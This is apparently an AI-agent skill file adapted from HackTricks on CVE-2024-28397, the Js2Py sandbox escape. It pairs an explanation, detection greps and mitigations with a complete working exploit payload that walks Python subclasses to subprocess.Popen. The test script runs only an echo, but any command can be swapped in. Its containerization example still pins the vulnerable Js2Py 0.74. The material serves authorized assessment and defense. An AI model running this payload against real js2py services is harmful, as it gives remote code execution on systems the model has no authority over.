Hacktricks-skills js2py-cve-2024-28397-assessment

Security assessment skill for CVE-2024-28397 (Js2Py sandbox escape). Use this skill when analyzing JavaScript-to-Python execution environments, reviewing js2py usage in codebases, testing for this specific vulnerability in authorized security assessments, or implementing mitigations. Trigger when users mention js2py, JavaScript sandboxing, Python sandbox escapes, CVE-2024-28397, or need to evaluate js2py security posture.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/generic-methodologies-and-resources/python/bypass-python-sandboxes/js2py-sandbox-escape-cve-2024-28397/SKILL.MD
source content

Js2Py CVE-2024-28397 Security Assessment

A skill for security professionals to understand, test for, and remediate the Js2Py sandbox escape vulnerability (CVE-2024-28397).

⚠️ Authorization Required

This skill is for authorized security testing only. Only use these techniques on:

  • Systems you own or have explicit written permission to test
  • Your own development/testing environments
  • Bug bounty programs where this vulnerability is in scope

Unauthorized access to computer systems is illegal.

What This Vulnerability Is

Js2Py translates JavaScript into Python objects. Even when

js2py.disable_pyimport()
is used, untrusted JavaScript can traverse Python internals to reach dangerous classes like
subprocess.Popen
, achieving remote code execution (RCE).

Affected versions: Js2Py ≤ 0.74

Root cause: Js2Py exposes Python object wrappers to JavaScript without stripping dangerous attributes (

__getattribute__
,
__class__
,
__base__
,
__subclasses__
). The
disable_pyimport()
function only blocks explicit imports but doesn't prevent accessing already-loaded modules.

The Exploitation Chain

Step-by-Step Primitive Chain

  1. Get a Python-backed object:
    Object.getOwnPropertyNames({})
    returns a
    dict_keys
    object in Python space
  2. Recover attribute access: Grab
    .__getattribute__
    from that object to read arbitrary attributes
  3. Climb to
    object
    : From
    <class 'dict_keys'>
    read
    .__base__
    to reach Python's base
    object
  4. Enumerate loaded classes: Call
    object.__subclasses__()
    to walk every class loaded in the interpreter
  5. Find
    subprocess.Popen
    : Recursively search subclasses where
    __module__ == "subprocess"
    and
    __name__ == "Popen"
  6. Execute commands: Instantiate Popen with attacker-controlled arguments and invoke
    .communicate()

Why This Works

  • Js2Py exposes Python object wrappers to JS without stripping dangerous dunder methods
  • disable_pyimport()
    only blocks explicit
    pyimport
    calls
  • The chain never imports anything new; it reuses already-loaded modules in memory
  • No hard isolation between JS and Python execution contexts

Testing for the Vulnerability

Local Reproduction (Authorized Testing Only)

# Js2Py 0.74 requires Python 3.11 (breaks on 3.12/3.13)
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py

# Test 1: Basic object access
print("Test 1:", js2py.eval_js("Object.getOwnPropertyNames({})"))

# Test 2: Attribute access primitive
print("Test 2:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))

# Test 3: Class traversal
print("Test 3:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))

# Test 4: Base object access
print("Test 4:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))

# Test 5: Subclass enumeration
print("Test 5:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Web Application Testing

Any endpoint that feeds attacker-controlled JS into

js2py.eval_js()
is vulnerable if:

  • The process user has shell access
  • Js2Py version ≤ 0.74
  • No additional sandboxing layers exist

Common vulnerable patterns:

# VULNERABLE: Flask endpoint accepting JS code
@app.route('/run_code')
def run_code():
    js_code = request.json['code']
    result = js2py.eval_js(js_code)  # RCE if attacker controls js_code
    return jsonify({'result': result})

# VULNERABLE: Even with disable_pyimport()
js2py.disable_pyimport()
result = js2py.eval_js(attacker_controlled_js)  # STILL VULNERABLE

Detection Checklist

Use this checklist to identify vulnerable systems:

  • Dependency scan: Check if
    js2py
    is in
    requirements.txt
    ,
    package.json
    , or lock files
  • Version check: Verify if version is ≤ 0.74
  • Code search: Look for
    js2py.eval_js(
    with user-controlled input
  • API review: Identify endpoints accepting JavaScript code execution
  • Sandbox review: Check if
    disable_pyimport()
    is the only mitigation
  • Process permissions: Determine if the process user has shell access

Code Search Patterns

# Find js2py usage
grep -r "import js2py" .
grep -r "from js2py" .
grep -r "eval_js" .

# Find disable_pyimport usage (false sense of security)
grep -r "disable_pyimport" .

Remediation Strategies

Immediate Mitigations

  1. Upgrade Js2Py (if a patched version exists)

    pip install --upgrade js2py
    
  2. Remove untrusted JS execution

    • If you don't need to execute untrusted JavaScript, remove js2py entirely
    • Use safer alternatives like Node.js in a container for JS execution
  3. Implement hard isolation

    • Run js2py in a separate process with minimal privileges
    • Use containers (Docker) with no shell access
    • Implement network isolation

Long-term Solutions

  1. Replace with safer alternatives

    • For JS execution: Use Node.js in isolated containers
    • For JS-to-Python data exchange: Use JSON serialization instead of object translation
  2. Implement input validation

    • Whitelist allowed JavaScript operations
    • Sanitize all user input before execution
    • Use allowlists rather than blocklists
  3. Defense in depth

    • Run in containers with seccomp profiles
    • Use read-only filesystems where possible
    • Implement network egress filtering
    • Monitor for suspicious process spawning

Example: Containerized Isolation

FROM python:3.11-slim

# Install js2py
RUN pip install js2py==0.74

# Create unprivileged user
RUN useradd -r -s /bin/false js2py_user

# Set restrictive environment
USER js2py_user
WORKDIR /app

# No shell access, limited capabilities
CMD ["python", "app.py"]

Security Testing Script

Use this script to test your own systems (authorized testing only):

#!/usr/bin/env python3
"""Test for CVE-2024-28397 in your own js2py installations."""

import js2py
import sys

def test_sandbox_escape():
    """Test if the sandbox can be escaped."""
    
    # Test payload - harmless command for testing
    test_cmd = "echo 'sandbox_test_success'"
    
    payload = f"""
    let cmd = "{test_cmd}";
    let hacked, bymarve, n11;
    let getattr, obj;
    
    hacked = Object.getOwnPropertyNames({});
    bymarve = hacked.__getattribute__;
    n11 = bymarve("__getattribute__");
    obj = n11("__class__").__base__;
    getattr = obj.__getattribute__;
    
    function findpopen(o) {{
        let result;
        for (let i in o.__subclasses__()) {{
            let item = o.__subclasses__()[i];
            if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
                return item;
            }}
            if (item.__name__ != "type" && (result = findpopen(item))) {{
                return result;
            }}
        }}
    }}
    
    n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
    n11;
    """
    
    try:
        result = js2py.eval_js(payload)
        if "sandbox_test_success" in str(result):
            print("[VULNERABLE] Sandbox escape successful!")
            return True
        else:
            print("[SAFE] Sandbox escape failed")
            return False
    except Exception as e:
        print(f"[SAFE] Exception during test: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2024-28397 Vulnerability Test")
    print("=" * 40)
    print(f"Js2Py version: {js2py.__version__}")
    print()
    test_sandbox_escape()

Common Misconceptions

❌ "disable_pyimport() protects us"

False. This only blocks explicit

pyimport
calls. The vulnerability chain never imports anything new.

❌ "We don't execute user JS, so we're safe"

Check carefully. User input might reach js2py through:

  • API endpoints accepting code
  • File uploads with JS content
  • Database-stored scripts
  • Third-party integrations

❌ "It's just a sandbox, not production"

False. Development/test environments can be pivot points to production systems if on the same network.

References

When to Use This Skill

Use this skill when:

  • Reviewing codebases for js2py usage
  • Conducting authorized security assessments
  • Implementing JavaScript execution in Python applications
  • Responding to CVE-2024-28397 alerts
  • Designing secure sandbox architectures
  • Training security teams on sandbox escapes

Related Vulnerabilities

Similar sandbox escape patterns exist in:

  • Other JS-to-Python bridges
  • Python-to-JavaScript bridges
  • Any language bridge exposing internal object attributes
  • Sandboxes relying on attribute blocking without hard isolation